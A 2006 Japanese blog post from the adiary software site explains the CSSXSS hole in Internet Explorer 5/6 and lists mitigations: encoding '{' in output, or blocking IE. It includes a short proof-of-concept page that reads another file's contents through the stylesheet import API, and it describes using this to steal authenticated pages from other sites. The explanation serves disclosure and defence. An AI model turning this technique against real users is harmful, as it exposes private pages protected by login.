お知らせ
絶対使わないと言い切れますか? blog + wiki = adiary
▼ 2006/09/11(月) CSSXSSの問題
■CSSXSSとは?
IEがCSSではない{を含む*1テキストをCSSと見なしてインポートしてしまい、あろうことかそのテキストがJavaScriptから操作可能なために発生するセキュリティーホールです。IE5、IE6などに存在します。
検証用コード。
<html><head>
<title>CSSXSS</title>
<style type="text/css">
@import url("./cssxss.txt");
</style>
</head><body>
<h1>CSSXSS</h1>
<textarea rows="20" cols="80" id="cssxss"></textarea>
<script type="text/javascript">
var text = document.getElementById( "cssxss" );
text.innerText = document.styleSheets(0).imports(0).cssText;
document.write("test")
</script>
</body></html>
この例では、cssxss.txt が「{」を含む場合、その中身を<textarea>に表示します。
悪意のあるサイトにアクセスした第3者に対し、既知のURL(例えばmixiなど)へユーザー自身にアクセスさせその結果をJavaScripを用いることで攻撃サイトに送信するなどという使い方をします。BASIC認証、Cookie認証その他あらゆる認証により守られたページも、ユーザー自身にアクセスさせることで突破できてしまうという驚異のセキュリティーホールです。
有効な対策
有効な対策は2つ。1つは、CSSXSSの攻撃をされたくないあらゆるページにおいて「{」を「{」にエンコードして出力することです。
もう1つはIE系ブラウザ*2のアクセスを拒否することです。個人的には後者を選びたいのですけど(笑)
- TB-URL http://adiary.blog.abk.nu/090/tb/

1: かえで 2006年09月11日(月) 深夜2時56分
後者の対策を選択して頂ければテーマ(CSS)の作成が非常に楽になるのですが(笑)
2: なべ 2006年09月12日(火) 深夜0時07分
たしかに! テーマ作成の方が恩恵は大きそうですねぇ(笑